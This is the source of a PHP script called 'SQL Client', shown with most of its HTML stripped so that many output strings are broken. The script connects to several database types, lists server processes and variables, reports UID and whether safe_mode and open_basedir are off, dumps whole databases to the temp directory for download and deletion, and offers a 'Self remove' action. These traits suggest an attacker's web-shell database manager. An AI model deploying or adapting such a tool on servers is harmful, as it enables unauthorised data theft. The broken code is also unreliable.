Access Forbidden
You must enter a valid login and password to access this resource"; // OS $win = strtolower(substr(PHP_OS, 0, 3)) == "win"; if($win) { $unix_socket = 0; } // Set php.ini sections ignore_user_abort(true); // ignore user abort ini_set( 'display_errors', true ); // display errors ini_set( 'html_errors', false ); // html error if($unix_socket && dbtype == 'mysql') { ini_set( 'mysql.default_socket', "/tmp/mysql.sock" ); // [!][+] } error_reporting(E_ERROR | E_PARSE | E_WARNING); // Error reporting E_ERROR | E_PARSE | E_WARNING ini_set( 'output_buffering', false ); // output buffering set_time_limit($timelimit); // time limit set_magic_quotes_runtime(false); // magic quotes runtime NULL //----------------------------------------------- // END USER CONFIGURABLE ELEMENTS //----------------------------------------------- // PHP version $phpversion = phpversion(); // Authenticate function [+] if (!@stristr($_SERVER["GATEWAY_INTERFACE"],"cgi") || $auth == true) { if (!empty($user) && ( !isset($_SERVER['PHP_AUTH_USER']) || $_SERVER['PHP_AUTH_USER']!==$user || $_SERVER['PHP_AUTH_PW']!==$passwd)) { header('WWW-Authenticate: Basic realm="'.$login_txt.'"'); header('HTTP/1.0 401 Unauthorized'); die( $accessdeniedmess ); } } // HEADERS [!] header("Content-Type: text/html; charset=windows-1251"); header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); // Checking php version [!] if(version_compare($phpversion, '4.1.0') == -1) { $_POST = &$HTTP_POST_VARS; $_GET = &$HTTP_GET_VARS; $_SERVER = &$HTTP_SERVER_VARS; } // Cheking PHP version if (str_replace('.',null,$phpversion) < 410) { die("
Warning! You should update PHP to 4.1.0. Current version ".$phpversion."

"); } // Checking magic_quotes_gpc() if (@get_magic_quotes_gpc()) { foreach ($_POST as $k=>$v) { $_POST[$k] = stripslashes($v); } foreach ($_GET as $k=>$v) { $_GET[$k] = stripslashes($v); } } // Buffering start @ob_start(); // Set options @ob_implicit_flush(0); // Start Session @session_start(); // Microtime if (!function_exists("get_micro_time")) { function get_micro_time() { list($usec, $sec) = explode(" ", microtime()); return ((float)$usec + (float)$sec); } } // starttime define("start_time",get_micro_time()); // Images Array $images_array = array( "sql"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0 U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAMUExURf///wAAAJmZzAAAACJoURkAAAAE dFJOU////wBAKqn0AAAAiUlEQVR42mJgZmZEAszMAAHEwMzIhAQYmQECCEMAIIBAAgwMTBAMEgAI IKAAkGYCc8ECAAGEIQAQQGAzGJAEAAIILsAAFQAIIJAWsB6IyYzMAAGEZC0D2FqAAMJwB0AAYQgA BBAD3C9AHsgvAAEEFIACRqA0EAAEEEKAmREsABBASALMYAGAAAMA5HsB3KxlNZ8AAAAASUVORK5C YII= ", "log_in_off"=> "R0lGODlhFgAWAOYAAAAAAP////7+7////f///vfzbffzbvfzc/j0dvj0fvn1ivr3nPv4p/v5tfv 5tv382/PtbPXvh/bxmvfzsf370fn32v375P/62f364/377P/+9//kQP/nVf/nVv/qbf/uhf/uhv/ xoP/1vP/2wP/62/rVLO7ZaPfuwv366/raSvreaP3zzdfBd/756OrEXtO8fPLZlv/++8+2eMuwdeW mKuzRm9TQyMywe+CaKsyxg/Ls4u7l2OWvZ+bYxffy7Prz7Pnu5OW3nseNbsqPc82nlsuMcsudisR xVOCqlcpwVM2nmr9XO8V6ZcV+a7xHKMN5ZsV8acZ9a8V8a7+AcMqRgsqXi+W6r82nnsymnbxSOrx SPMJxYMJ0Y8V8bLY8KLlKNbxSP8V8brlKObhIObtTQrtTRb5fUsp0aMFxZceKgcqln7lJO8Fzab9 5cMyMhMWHgMeRirtUSsFza7txa8qZlLtTTMN7d7ExLLtUUcFzcMN7eL15drtUUrxVU8BgX////yH 5BAEAADYALAAAAAAWABYAAAfPgDaCg4SFhoeIiYp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C6CLTEAAABCSURB VHjaYmCCA4AAYmBigAImgABCYgIEEANCAUAAMTAxQgETQAABmRAxRiaAAEISBQggJFGAAEISBQgg JBMAAgwAHDAAjTfpsEkAAAAASUVORK5CYII= ", "host"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0 U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAVUExURf8AAMbGxoSEhJmZzP///wAAAAAA AM12SjgAAAAHdFJOU////////wAaSwNGAAAAmklEQVR42mJgQwMAAcQAZzGBABsbQAAxsDGDARMT IxAwsbIBBBBcgAUImIACAAHEwMYKYrJCFbCyAQQQXAAEWIEqAAIIJADRBNUCEEBAAVaIAFQLQACB rIVrAmkBCCCQLRABqBaAAEIIgLQABQACCGQoKxgwMoAFAAIIzR1sbAABBBNgA6sC2gAQQAwQFivc jwABxIDufYAAAwArFQQ55WWX3AAAAABJRU5ErkJggg== ", "deltbl"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0 U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAkUExURZlmZv+ZM/9mAEBAQLOz2cwzM8wA AP8AAJkAAP///4yMjAAAAL6JDcIAAAAMdFJOU///////////////ABLfzs4AAAC2SURBVHjaYuBG AwABxMDNhQK4AQIIKMDAxsDFAgVs3AABBBRgY2TngHI5uLgBAgikhY2dnQOkHMjn4gYIIKAAJycn GzsHkABiLm6AAAIJMHMCFXEA+UAGN0AAQVRwQdSAVAAEEEIFO0QFQAAhmcEONgMggMACID4zM0iE ixsggEACrExsnGDADhQACCCgACsjWAEzSA0XN0AAgQSAzuKEAi5ugAACuZQD4Td2boAAYkD3PkCA AQCA0wiXuX9engAAAABJRU5ErkJggg== ", "drop"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABG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CC ", "index"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0 U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAAAYUExURYCAgP//mZmZzP/MMwAAAP///2Zm ZgAAAIJePFIAAAAIdFJOU/////////8A3oO9WQAAAJVJREFUeNpiYEcDAAHEwM6GAtgBAggowMTE BMJMDKyMzCzsAAGEEADzWdgBAgiuBcJnYwcIIKAAKysrEDOA+Kxs7AABBBIA0qwMrCA+UAAggKAq gHwQAJoBEEBQFSxAwAo2AyCAEGawQswACCAMMwACCK4CzAcKAAQQTAWEDxQACCCYCggfKAAQQBie AwggBnTvAwQYAKRBBR9UXrlRAAAAAElFTkSuQmCC ", "primary"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0 U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeXHJZTwAAABLUExURfnHAOq7APXEAPTDAPrIAO6+APzK APPCAOy9AP7LAPHBAP3KAOa4APjGAO+/APDAAPfGAPvJAPLCAOi6AJmZzAAAAP///2ZmZgAAAMjq 96cAAAAZdFJOU////////////////////////////////wABNAq3AAAAtklEQVR42mKQQAMAAcQg IQ4BoiAgLi4BEEBAAREREXERUR5GfiYWUXEJgACCCogKM7KKMnByikoABBBUiygHKzMzMxuDqARA AAEFxMTExMVEBbmZ+BiBWgACCCQgChQQE2Vh5wAyJAACCKYCKMIlCmRIAAQQTIWoKIMQWAAggJBU sIMFAAIIoYKFCSwAEEBIKgTAAgABhFDBxgsWAAggJBUMYAGAAIJ7DuhaECEBEEAM6N4HCDAAhuMU XdCwN9oAAAAASUVORK5CYII= ", "empty"=> "iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAABl0RVh0 U29mdHdhcmUAQWRvYmUgSW1hZ2VSZWFkeX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AAHEANMLBGDDAQKIAcIHARZGBgYGFoAAYoDzoQIAAYShAiCAMMwACCA MWwACCMMdAAGE6lIgAAggFL+AAEAAofoWCAACDACoswMV4KhprQAAAABJRU5ErkJggg== ", "download"=> "R0lGODlhEAAQALMAAAAAAP///wD/AAC/ACAZAZCJcf/GCvetCcDAwICAgP///wAAAAAAAAAAAAAAAA AAACH5BAEAAAoALAAAAAAQABAAAARIUMmpziE002Ow1pz3bd04WSEBmJXhimY4JjRdEEVNSwni/0BfA pAIGI9II40YDA4Ey15TKhz2dNirFZFMIqLZ8EoBKJvPZkkEADs= ", "announse"=> "R0lGODlhEwASAMQfAP/GjAhgjPT4+v6qVbqegv7r1/+dOq3H0v3Sp1RxcAICAo22zNWzjFmTr9XDq9a PQmuhvN/r8ayGUO7XvkyIo4p/aH9hQ3eSlP+3b/7fv3+pu0o0Hy54nMHY42KZs////yH5BAEAAB8ALAA AAAATABIAAAWe4CeO4tEsZJp2TXN41KGmkVvcRyDPIqTdwFyEB2ncJg6gBjI7cDKZiUJRgWYoqBTHYd0 oCFZHYDhaUBBogtqBRl80I0GAjbZMLW10QCBaXACAAAh3gYAXWRwMhQCEhQwcH3IYk5R3lJR7EQEDnJ1 3nZ0cEXKgA14KGw+lex8aCQawsbKxFUw9CRIPD7O6EgkQZCUUHBwBxsbELjzLKSEAOw== ", ); if (!function_exists("create_image")) { function create_image( $value = false ) { global $images_array; return base64_decode($images_array[$value]); } } // Images if (isset($_GET["image"])) { @ob_clean(); header("Content-type: image/gif"); header("Cache-control: public"); header("Expires: ".date("r",mktime(0,0,0,1,1,2030))); header("Cache-control: max-age=".(60*60*24*7)); header("Last-Modified: ".date("r",filemtime(__FILE__))); echo create_image($_GET["image"]); exit(); } /* * Download file */ if (!function_exists("downloadfile")) { function downloadfile( $file ) { @ob_clean(); $filetype = 'application/download'; header("Pragma: public"); header("Expires: 0"); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header("Cache-Control: private",false); header("Content-Type: ".$filetype); header("Content-Disposition: attachment; filename=\"".basename($file)."\";"); header("Content-Transfer-Encoding: binary"); header("Content-Length: ".@filesize($file)); set_time_limit(0); $buffer = ''; $handle = @fopen($file, 'rb'); if ($handle === false) { return false; } while (!feof($handle)) { $buffer .= fread($handle, 1024); } @fclose($fp); echo $buffer; unlink($file); exit; } } /* * AddInput */ if (!function_exists("new_input")) { function new_input($type,$name,$size,$value) { $str = ""; return $str; } } // Language array $lang = array( // Russian 'ru_text1' => 'Загрузить файл', 'ru_text2' => 'Запрос', 'ru_text3' => 'Статус сервера', 'ru_text4' => 'Переменные сервера', 'ru_text5' => 'Процессы сервера', 'ru_text6' => 'Список БД', 'ru_text7' => 'БД', 'ru_text8' => 'Actions', 'ru_text9' => 'Создать БД', 'ru_text10' => 'Всего БД', 'ru_text11' => 'Показать', 'ru_text12' => 'Сохранить БД', 'ru_text13' => 'Удалить БД', 'ru_text14' => 'Таблица', 'ru_text15' => 'Создать таблицу', 'ru_text16' => 'Структура', 'ru_text17' => 'Показать', 'ru_text18' => 'Вставить', 'ru_text19' => 'Редактировать', 'ru_text20' => 'Удалить', 'ru_text21' => 'Сохранить таблицу', 'ru_text22' => 'Структура таблицы', 'ru_text23' => 'Структуру и информацию', 'ru_text24' => 'Структуру', 'ru_text25' => 'Информацию', 'ru_text26' => 'Скачать', 'ru_text27' => 'Внимание!!! Файл не существует или нет прав для чтения', 'ru_text28' => 'Внимание!!! Файл пустой или другая ошибка', 'ru_text29' => 'Информация SQL сервера', 'ru_text30' => 'Удалить скрипт', 'ru_text31' => 'Спасибо что пользовались SQL клиентом '.$version, // English 'en_text1' => 'Load File', 'en_text2' => 'Query', 'en_text3' => 'Server status', 'en_text4' => 'Server variables', 'en_text5' => 'Process list', 'en_text6' => 'DB List', 'en_text7' => 'DB', 'en_text8' => 'Actions', 'en_text9' => 'Create DB', 'en_text10' => 'Total DB', 'en_text11' => 'Load', 'en_text12' => 'Dump DB', 'en_text13' => 'Drop DB', 'en_text14' => 'Table', 'en_text15' => 'Create Table', 'en_text16' => 'Desc', 'en_text17' => 'Show', 'en_text18' => 'Insert', 'en_text19' => 'Edit', 'en_text20' => 'Delete', 'en_text21' => 'Dump Table', 'en_text22' => 'Table Desc', 'en_text23' => 'Desc and data info', 'en_text24' => 'Desc info', 'en_text25' => 'Data info', 'en_text26' => 'Download', 'en_text27' => 'Warning!!! File not exists or not readable', 'en_text28' => 'Warning!!! File is empty or some error', 'en_text29' => 'Server Information', 'en_text30' => 'Self remove', 'en_text31' => 'Thanks for using SQL Client '.$version, ); class ResultSet { var $result; var $total_rows; var $fetched_rows; function set_result( $res ) { $result = $res; } function get_result() { return $result; } function set_total_rows( $rows ) { $total_rows = $rows; } function get_total_rows() { return $total_rows; } function set_fetched_rows( $rows ) { $fetched_rows = $rows; } function get_fetched_rows() { return $fetched_rows; } function increment_fetched_rows() { $fetched_rows = $fetched_rows + 1; } } if (!function_exists("sql_error")) { function sql_error() { global $dbtype; switch ($dbtype) { case "mysql": return mysql_error(); break;; case "mSQL": return msql_error($host); break;; default: break;; } } } if (!function_exists("sql_connect")) { function sql_connect($host, $user, $password, $db) { global $dbtype; switch ($dbtype) { case "mysql": $dbi=@mysql_connect($host, $user, $password); @mysql_select_db($db); return $dbi; break;; case "mSQL": $dbi=msql_connect($host); msql_select_db($db); return $dbi; break;; case "postgres": $dbi=@pg_connect("host=$host user=$user password=$password port=5432 dbname=$db"); return $dbi; break;; case "postgres_local": $dbi=@pg_connect("user=$user password=$password dbname=$db"); return $dbi; break;; case "ODBC": $dbi=@odbc_connect($db,$user,$password); return $dbi; break;; case "ODBC_Adabas": $dbi=@odbc_connect($host.":".$db,$user,$password); return $dbi; break;; case "Interbase": $dbi=@ibase_connect($host.":".$db,$user,$password); return $dbi; break;; case "Sybase": $dbi=@sybase_connect($host, $user, $password); sybase_select_db($db,$dbi); return $dbi; break;; default: break;; } } } if (!function_exists("sql_list_processes")) { function sql_list_processes($id) { global $dbtype; switch ($dbtype) { case "mysql": return @mysql_list_processes($id); break;; default: break;; } } } if (!function_exists("sql_field_name")) { function sql_field_name($res,$count) { global $dbtype; switch ($dbtype) { case "mysql": return mysql_field_name($res,$count); break;; default: break;; } } } if (!function_exists("sql_logout")) { function sql_logout($id) { global $dbtype; switch ($dbtype) { case "mysql": $dbi=@mysql_close($id); return $dbi; break;; case "mSQL": $dbi=@msql_close($id); return $dbi; break;; case "postgres": case "postgres_local": $dbi=@pg_close($id); return $dbi; break;; case "ODBC": case "ODBC_Adabas": $dbi=@odbc_close($id); return $dbi; break;; case "Interbase": $dbi=@ibase_close($id); return $dbi; break;; case "Sybase": $dbi=@sybase_close($id); return $dbi; break;; default: break;; } } } if (!function_exists("get_server_info")) { function get_server_info() { global $dbtype; switch ($dbtype) { case "mysql": return "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info().")"; break;; default: return "unknown"; break;; } } } if (!function_exists("sql_num_fields")) { function sql_num_fields($res) { global $dbtype; switch ($dbtype) { case "mysql": return mysql_num_fields($res); break;; case "mSQL": return msql_num_fields($res); break;; default: break;; } } } if (!function_exists("sql_affected_rows")) { function sql_affected_rows() { global $dbtype; switch ($dbtype) { case "mysql": return mysql_affected_rows(); break;; case "mSQL": return msql_affected_rows(); break;; default: break;; } } } /* * sql_query($query, $id) * executes an SQL statement, returns a result identifier */ if (!function_exists("sql_query")) { function sql_query($query, $id) { global $dbtype; switch ($dbtype) { case "mysql": $res=mysql_query($query, $id); return $res; break;; case "mSQL": $res=@msql_query($query, $id); return $res; break;; case "postgres": case "postgres_local": $res=pg_exec($id,$query); $result_set = new ResultSet; $result_set->set_result( $res ); $result_set->set_total_rows( sql_num_rows( $result_set ) ); $result_set->set_fetched_rows( 0 ); return $result_set; break;; case "ODBC": case "ODBC_Adabas": $res=@odbc_exec($id,$query); return $res; break;; case "Interbase": $res=@ibase_query($id,$query); return $res; break;; case "Sybase": $res=@sybase_query($query, $id); return $res; break;; default: break;; } } } /* * sql_num_rows($res) * given a result identifier, returns the number of affected rows */ if (!function_exists("sql_num_rows")) { function sql_num_rows($res) { global $dbtype; switch ($dbtype) { case "mysql": $rows=mysql_num_rows($res); return $rows; break;; case "mSQL": $rows=msql_num_rows($res); return $rows; break;; case "postgres": case "postgres_local": $rows=pg_numrows( $res->get_result() ); return $rows; break;; case "ODBC": case "ODBC_Adabas": $rows=odbc_num_rows($res); return $rows; break;; case "Interbase": echo "
Error! PHP dosen't support ibase_numrows!
"; return false; break;; case "Sybase": $rows=sybase_num_rows($res); return $rows; break;; default: break;; } } } /* * sql_fetch_row(&$res,$row) * given a result identifier, returns an array with the resulting row * Needs also a row number for compatibility with postgres */ if (!function_exists("sql_fetch_row")) { function sql_fetch_row(&$res, $nr=0) { global $dbtype; switch ($dbtype) { case "mysql": $row = mysql_fetch_row($res); return $row; break;; case "mSQL": $row = msql_fetch_row($res); return $row; break;; case "postgres": case "postgres_local": if ( $res->get_total_rows() > $res->get_fetched_rows() ) { $row = pg_fetch_row($res->get_result(), $res->get_fetched_rows() ); $res->increment_fetched_rows(); return $row; } else { return false; } break;; case "ODBC": case "ODBC_Adabas": $row = array(); $cols = odbc_fetch_into($res, $nr, $row); return $row; break;; case "Interbase": $row = ibase_fetch_row($res); return $row; break;; case "Sybase": $row = sybase_fetch_row($res); return $row; break;; default: break;; } } } /* * sql_fetch_array($res,$row) * given a result identifier, returns an associative array * with the resulting row using field names as keys. * Needs also a row number for compatibility with postgres. */ if (!function_exists("sql_fetch_array")) { function sql_fetch_array($res, $nr=0) { global $dbtype; switch ($dbtype) { case "mysql": $row = array(); $row = mysql_fetch_array($res, MYSQL_ASSOC); return $row; break;; case "mSQL": $row = array(); $row = msql_fetch_array($res,$nr); return $row; break;; case "postgres": case "postgres_local": if( $res->get_total_rows() > $res->get_fetched_rows() ) { $row = array(); $row = pg_fetch_array($res->get_result(), $res->get_fetched_rows() ); $res->increment_fetched_rows(); return $row; } else { return false; } break;; /* * ODBC doesn't have a native _fetch_array(), so we have to * use a trick. Beware: this might cause HUGE loads! */ case "ODBC": $row = array(); $result = array(); $result = odbc_fetch_row($res, $nr); $nf = odbc_num_fields($res); /* Field numbering starts at 1 */ for($count=1; $count < $nf+1; $count++) { $field_name = odbc_field_name($res, $count); $field_value = odbc_result($res, $field_name); $row[$field_name] = $field_value; } return $row; break;; case "ODBC_Adabas": $row = array(); $result = array(); $result = odbc_fetch_row($res, $nr); $nf = count($result)+2; /* Field numbering starts at 1 */ for($count=1; $count < $nf; $count++) { $field_name = odbc_field_name($res, $count); $field_value = odbc_result($res, $field_name); $row[$field_name] = $field_value; } return $row; break;; case "Interbase": $orow=ibase_fetch_object($res); $row=get_object_vars($orow); return $row; break;; case "Sybase": $row = sybase_fetch_array($res); return $row; break;; } } } if (!function_exists("sql_fetch_assoc")) { function sql_fetch_assoc($res) { global $dbtype; switch ($dbtype) { case "mysql": $row = array(); $row = mysql_fetch_assoc($res); return $row; break;; case "mSQL": $row = array(); $row = msql_fetch_assoc($res); return $row; break;; } } } if (!function_exists("sql_fetch_object")) { function sql_fetch_object(&$res, $nr=0) { global $dbtype; switch ($dbtype) { case "mysql": $row = mysql_fetch_object($res); if($row) return $row; else return false; break;; case "mSQL": $row = msql_fetch_object($res); if($row) { return $row; } else { return false; } break;; case "postgres": case "postgres_local": if( $res->get_total_rows() > $res->get_fetched_rows() ) { $row = pg_fetch_object( $res->get_result(), $res->get_fetched_rows() ); $res->increment_fetched_rows(); if($row) { return $row; } else { return false; } } else { return false; } break;; case "ODBC": $result = odbc_fetch_row($res, $nr); if(!$result) return false; $nf = odbc_num_fields($res); /* Field numbering starts at 1 */ for($count=1; $count < $nf+1; $count++) { $field_name = odbc_field_name($res, $count); $field_value = odbc_result($res, $field_name); $row->$field_name = $field_value; } return $row; break;; case "ODBC_Adabas": $result = odbc_fetch_row($res, $nr); if(!$result) return false; $nf = count($result)+2; /* Field numbering starts at 1 */ for($count=1; $count < $nf; $count++) { $field_name = odbc_field_name($res, $count); $field_value = odbc_result($res, $field_name); $row->$field_name = $field_value; } return $row; break;; case "Interbase": $orow = ibase_fetch_object($res); if($orow) { $arow=get_object_vars($orow); while(list($name,$key)=each($arow)) { $name=strtolower($name); $row->$name=$key; } return $row; } else return false; break;; case "Sybase": $row = sybase_fetch_object($res); return $row; break;; } } } /* * Function Free Result for function free the memory */ if (!function_exists("sql_free_result")) { function sql_free_result($res) { global $dbtype; switch ($dbtype) { case "mysql": return mysql_free_result($res); break;; case "mSQL": return msql_free_result($res); break;; case "postgres": case "postgres_local": return pg_FreeResult( $res->get_result() ); break;; case "ODBC": case "ODBC_Adabas": return odbc_free_result($res); break;; case "Interbase": echo( "
Error! PHP dosen't support ibase_free_result!
" ); break;; case "Sybase": return sybase_free_result($res); break;; } } } /* * Function Format Size */ if (!function_exists("formatsize")) { function formatsize( $value = false ){ if($value >= 1073741824) { $value = round($value / 1073741824 * 100) / 100 . "Gb"; } elseif($value >= 1048576) { $value = round($value / 1048576 * 100) / 100 . "Mb"; } elseif($value >= 1024) { $value = round($value / 1024 * 100) / 100 . "Kb"; } else { $value = $value . "b"; } return $value; } } /* * Return Alphanumerical chars */ if (!function_exists("AlphanumericalClean")) { function AlphanumericalClean( $str = false ) { return preg_replace( "/[^а-яА-Яa-zA-Z0-9\-\_\ ]/", "" , $str ); } } /* * Get server info */ if (!function_exists("server_info")) { function server_info() { global $tmpdir,$baseurl; if (empty($tmpdir)) { $tmpdir = ini_get("upload_tmp_dir"); if (is_dir($tmpdir)) {$tmpdir = realpath("./");} } $tmpdir = @realpath($tmpdir); // Safe mod checking if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") { $safemode = "ON (secure)"; } else { $safemode = "OFF (not secure)"; } // Open Base dir if (@ini_get("open_basedir") or strtolower(@ini_get("open_basedir")) == "on") { $openbasedir = "ON (secure)"; } else { $openbasedir = "OFF (not secure)"; } // Return information about server in array return array ( "OS" => wordwrap(php_uname(),90,"
",1), "TMP_DIR" => $tmpdir, "UID" => getmyuid(), "GID" => getmygid(), "Process PID" => getmypid(), "Server Software" => $_SERVER["SERVER_SOFTWARE"], "PHP version" => "".phpversion()."", "SafeMod" => $safemode, "Open Base Dir" => $openbasedir, "SQL version" => get_server_info(), "Server name" => $_SERVER["SERVER_NAME"], "Current user" => get_current_user(), ); } } /* * SQL error reporting */ function error($error, $query) { echo(nl2br( ''."

Query execute faild


Please click here to go back\n\n")); } /* * SQL query execute */ function query($id, $query) { global $lang,$language; $res = ''; if((isset($query)) && (!empty($query))) { $query = stripslashes($query); $res = sql_query($query, $id); if (sql_error()) { error(sql_error(), $query); } else { return $res; } } else { return false; } } /* * SQL quick launch */ function quicklaunch() { global $lang,$language,$baseurl,$server,$port,$login,$password; $quicklaunch = array ( array($lang[$language.'_text1'],$baseurl."&act=11"), array($lang[$language.'_text2'],$baseurl."&act=09"), array($lang[$language.'_text3'],$baseurl."&act=01"), array($lang[$language.'_text4'],$baseurl."&act=00"), array($lang[$language.'_text5'],$baseurl."&act=08"), array($lang[$language.'_text30'],$baseurl."&act=13"), ); $str = "\n\n \n \n \n \n \n\n"; if (count($quicklaunch) > 0) { foreach($quicklaunch as $item) { $str .= "\n "; } } $str .= "\n\n

".get_server_info()." running in ".AlphanumericalClean($server).":".AlphanumericalClean($port)." as ".AlphanumericalClean($login)."

[ ".$item[0]." ]
\n
"; return $str; } /* * List Of DB`s */ function db_list($id) { global $lang,$language,$baseurl; $db_list = query($id, "SHOW DATABASES"); // [-] $db_count = sql_num_rows($db_list); $str = "".$lang[$language.'_text6']."\n\n\n \n \n"; while($odj = sql_fetch_object($db_list)) { //$tbls = sql_num_rows(mysql_list_tables($tmp[1])); [-] $str .= "\n\n \n \n \n "; } $str .= "\n\n \n\n\n \n\n
".$lang[$language.'_text7']."".$lang[$language.'_text8']."
Database."\">".$odj->Database."Database."\" title=\"Backup Database ".$odj->Database."\">Database."');\" title=\"Drop Database ".$odj->Database."\">\n
".$lang[$language.'_text10'].": ".$db_count."
[ ".$lang[$language.'_text9']." ]
\n"; return $str; } /* * SQL dump DB */ function dump_db($id, $db,& $type) { global $lang,$language,$baseurl,$dbtype; $tmp = server_info(); $act_sql = query( $id, "SHOW TABLES FROM `".AlphanumericalClean($db)."`" ); if (sql_num_rows($act_sql) > 0) { if((isset($type))) { $file = $tmp["TMP_DIR"]."/db_".$_SERVER["SERVER_NAME"]."_".$dbtype."_".date("Y-m-d-H-i-s").".sql"; $fp = fopen($file, "w"); if (!$fp) { return "
Dump error! Can't write to ".htmlspecialchars($file); } fputs ($fp, "#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# [ SQL Client ]\n# Dumped by SQL Client \n#\n# SQL version: (".get_server_info().")\n# Date: ".date("F j, Y, g:i a")."\n# Dump DB: `$db`"."\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); } switch($type) { case "struct": while ($tbl = sql_fetch_row($act_sql)) { fputs($fp, "\n#\n# Dump for table: `".$tbl[0]."`;\n#\n"); fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl[0]."`;\n"); $sql = query( $id, "SHOW CREATE TABLE `$tbl[0]`"); $row = sql_fetch_row($sql); fputs($fp, $row[1].";\n\n"); } break; case "data": while ($tbl = sql_fetch_row($act_sql)) { fputs($fp, "\n#\n# Dump for table: `".$tbl[0]."`;\n#\n"); $sql = query( $id, "SELECT * FROM `$tbl[0]`" ); if (sql_num_rows($sql) > 0) { while ($row = sql_fetch_assoc($sql)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $key=>$value) { $values[$key] = addslashes($value); } $values = implode("', '", $values); $sql_dump = "INSERT INTO `$tbl[0]` (`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql_dump); } } else { fputs($fp, "# TABLE `$tbl[0]` IS AMPTY\n\n"); } } break; case "full": while ($tbl = sql_fetch_row($act_sql)) { fputs($fp, "\n#\n# Dump for table: `".$tbl[0]."`;\n#\n"); fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl[0]."`;\n"); $sql = query( $id, "SHOW CREATE TABLE `$tbl[0]`"); $row = sql_fetch_row($sql); fputs($fp, $row[1].";\n\n"); $sql = query( $id, "SELECT * FROM `$tbl[0]`" ); if (sql_num_rows($sql) > 0) { while ($row = sql_fetch_assoc($sql)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $key=>$value) { $values[$key] = addslashes($value); } $values = implode("', '", $values); $sql_dump = "INSERT INTO `$tbl[0]` (`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql_dump); } } else { fputs($fp, "# TABLE `$tbl[0]` IS AMPTY\n\n"); } } break; default: return "

Backup DataBase
Full backup (Strukture and Data)
Only Structure
Only data info
"; break; } fclose($fp); } else { return "\n

Database ".AlphanumericalClean($db)." is empty or Database doesn't exist"; } return "\n

Dumped! Dump has been writed to ".htmlspecialchars(realpath($file))." (".formatsize(@filesize($file)).")

\n ".$lang[$language.'_text26']." Click"; } /* * SQL dump table */ function dump_tbl($id, $tbl, $type) { global $lang,$language,$baseurl,$dbtype; $tmp = server_info(); if((isset($type))) { $file = $tmp["TMP_DIR"]."/tbl_".$_SERVER["SERVER_NAME"]."_".$dbtype."_".date("Y-m-d-H-i-s").".sql"; $fp = fopen($file, "w"); if (!$fp) { return "
Dump error! Can't write to ".htmlspecialchars($file); } fputs ($fp, "#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n# [ SQL Client ]\n# Dumped by SQL Client \n#\n# SQL version: (".get_server_info().")\n# Date: ".date("F j, Y, g:i a")."\n# Dump table: `$tbl`"."\n#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); } switch($type) { case "struct": fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl."`;\n"); $sql = query( $id, "SHOW CREATE TABLE `".$tbl."`"); $row = sql_fetch_row($sql); fputs($fp, $row[1].";\n\n"); break; case "data": $sql = query( $id, "SELECT * FROM `".$tbl."`" ); if (sql_num_rows($sql) > 0) { while ($row = sql_fetch_assoc($sql)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $key=>$value) { $values[$key] = addslashes($value); } $values = implode("', '", $values); $sql_dump = "INSERT INTO `$tbl` (`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql_dump); } } else { fputs($fp, "# TABLE `$tbl` IS AMPTY\n\n"); } break; case "full": fputs($fp, "\nDROP TABLE IF EXISTS `".$tbl."`;\n"); $sql = query( $id, "SHOW CREATE TABLE `".$tbl."`"); $row = sql_fetch_row($sql); fputs($fp, $row[1].";

"); $sql = query( $id, "SELECT * FROM `$tbl`" ); if (sql_num_rows($sql) > 0) { while ($row = sql_fetch_assoc($sql)) { $keys = implode("`, `", array_keys($row)); $values = array_values($row); foreach($values as $key=>$value) { $values[$key] = addslashes($value); } $values = implode("', '", $values); $sql_dump = "INSERT INTO `$tbl` (`".$keys."`) VALUES ('".$values."');\n"; fputs($fp, $sql_dump); } } else { fputs($fp, "# TABLE `$tbl` IS AMPTY\n\n"); } break; default: return "\n

Backup Table
Full backup (Strukture and Data)
Only Structure
Only data info
"; break; } fclose($fp); return "\n

Dumped! Dump has been writed to ".htmlspecialchars(realpath($file))." (".formatsize(@filesize($file)).")

